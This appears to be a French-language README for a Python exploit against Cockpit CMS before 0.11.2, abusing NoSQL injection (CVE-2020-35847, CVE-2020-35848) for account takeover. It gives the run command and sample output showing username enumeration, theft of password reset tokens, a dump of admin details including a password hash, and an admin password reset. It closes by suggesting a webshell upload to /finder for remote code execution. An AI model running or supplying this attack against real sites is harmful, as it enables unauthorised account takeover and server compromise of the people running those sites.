
CVE-2020-35847, CVE-2020-35848 : Prise de contrôle du compte
Cockpit CMS avant la version 0.11.2 est vulnérable à une injection NoSQL dans /auth/resetpassword et /auth/newpassword qui permet l'extraction de jetons de réinitialisation de mot de passe, permettant l'énumération des informations utilisateur ainsi que la réinitialisation du mot de passe.
En savoir plus - https://swarm.ptsecurity.com/rce-cockpit-cms/
Ce script Python énumère les utilisateurs du système et réinitialise le mot de passe.
python3 exploit.py -u http://cockpit-site-url
Le script commence par énumérer les utilisateurs du système.
[+] http://cockpit-site-url: is reachable
[-] Attempting Username Enumeration (CVE-2020-35846) :
[+] Users Found : ['admin', 'user1', 'user2', 'user3']
Ensuite, vous pouvez choisir l'utilisateur sur lequel vous souhaitez obtenir plus d'informations. Cela génère également des jetons de réinitialisation pour cet utilisateur, une condition clé pour la réinitialisation du mot de passe.
[-] Get user details For : admin
[+] Finding Password reset tokens
Tokens Found : ['rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e']
[+] Obtaining user information
-----------------Details--------------------
[*] user : admin
[*] name : Admin
[*] email : [email protected]
[*] active : True
[*] group : admin
[*] password : $2y$10$6uQ2PXh4vShH.D4gw..WtO0NHQq7J36ugmwKNtJGzu9p9OqSEpVUW
[*] i18n : en
[*] _created : 1621655201
[*] _modified : 1621655201
[*] _id : 60a87ea165343539ee000300
[*] _reset_token : rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e
[*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------
Enfin, vous pouvez choisir de réinitialiser le mot de passe de l'utilisateur.
[+] Do you want to reset the passowrd for admin? (Y/n): y
[-] Attempting to reset admin's password:
[+] Password Updated Succesfully!
[+] The New credentials for admin is:
Username : admin
Password : new_random_password
Vous pouvez ensuite choisir de téléverser un webshell vers le composant /finder pour obtenir une RCE.